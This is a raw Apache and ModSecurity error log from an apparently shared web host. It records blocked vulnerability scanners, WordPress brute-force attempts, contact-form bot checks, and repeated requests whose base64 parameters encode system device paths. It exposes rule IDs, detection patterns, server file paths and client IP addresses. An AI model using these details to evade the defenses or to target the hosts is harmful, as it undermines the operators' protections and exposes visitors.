https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:18:57.998841 2026] [security2:error] [pid 648189:tid 648220] [remote 17.246.19.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zcVWSojQL4F7upKB0fwAA0AA"] [Sat Jun 13 18:18:58.019750 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.90:46600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:58.020202 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.90:46600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:58.144864 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.6:26834] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:58.145298 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.6:26834] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:58.380565 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.95:31561] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:58.380863 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.95:31561] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:58.507200 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:18:58.507476 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:18:58.944899 2026] [access_compat:error] [pid 648189:tid 648268] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:58.945339 2026] [access_compat:error] [pid 648189:tid 648268] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:59.003167 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.111:31326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:59.003603 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.111:31326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:59.040516 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.22:63526] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:59.040919 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.22:63526] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:59.041347 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:18:59.041792 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:18:59.048681 2026] [security2:error] [pid 648189:tid 648239] [remote 17.246.19.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zc1WSojQL4F7upKB0wwAAuxI"] [Sat Jun 13 18:18:59.386387 2026] [security2:error] [pid 648189:tid 648341] [remote 195.250.23.247:55126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.250.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "thomnco.com"] [uri "/wp-login.php"] [unique_id "ai3zc1WSojQL4F7upKB02QABAHY"] [Sat Jun 13 18:18:59.532759 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQ= [Sat Jun 13 18:18:59.533058 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQ= [Sat Jun 13 18:18:59.599485 2026] [security2:error] [pid 648189:tid 648339] [remote 17.22.245.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zc1WSojQL4F7upKB05QAAoHQ"] [Sat Jun 13 18:18:59.676679 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.44:31119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:59.677100 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.44:31119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:00.051736 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.24:58406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:00.052067 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.24:58406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:00.061109 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:19:00.061125 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.51:60008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:00.061539 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:19:00.061553 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.51:60008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:00.196998 2026] [security2:error] [pid 648189:tid 648306] [remote 17.241.75.59:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 59.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zdFWSojQL4F7upKB1AAAAwVQ"] [Sat Jun 13 18:19:00.460385 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.39:43388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:00.460696 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.39:43388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:00.482045 2026] [security2:error] [pid 646876:tid 646940] [remote 86.0.139.245:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zdNyTkdrNlD40tSG4FwAAPz0"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:00.482072 2026] [security2:error] [pid 646876:tid 646940] [remote 86.0.139.245:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zdNyTkdrNlD40tSG4FwAAPz0"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:00.612355 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:19:00.612697 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:19:00.926465 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.109:25006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:00.926903 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.109:25006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:00.950951 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.16:58960] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:00.951390 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.16:58960] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:01.097276 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:01.097556 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:01.116522 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.72:33589] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:01.116787 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.72:33589] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:01.181563 2026] [security2:error] [pid 648189:tid 648349] [remote 17.246.19.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zdVWSojQL4F7upKB1JAAA1H4"] [Sat Jun 13 18:19:01.564520 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.47:29130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:01.564810 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.47:29130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:01.582533 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:19:01.582966 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:19:01.627848 2026] [security2:error] [pid 648189:tid 648326] [remote 17.241.75.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zdVWSojQL4F7upKB1OwAAnGc"] [Sat Jun 13 18:19:01.712356 2026] [security2:error] [pid 648189:tid 648332] [remote 80.82.115.208:47896] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.115.82.80.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "adam-de-villiers-foundation-usa.org"] [uri "/wp-login.php"] 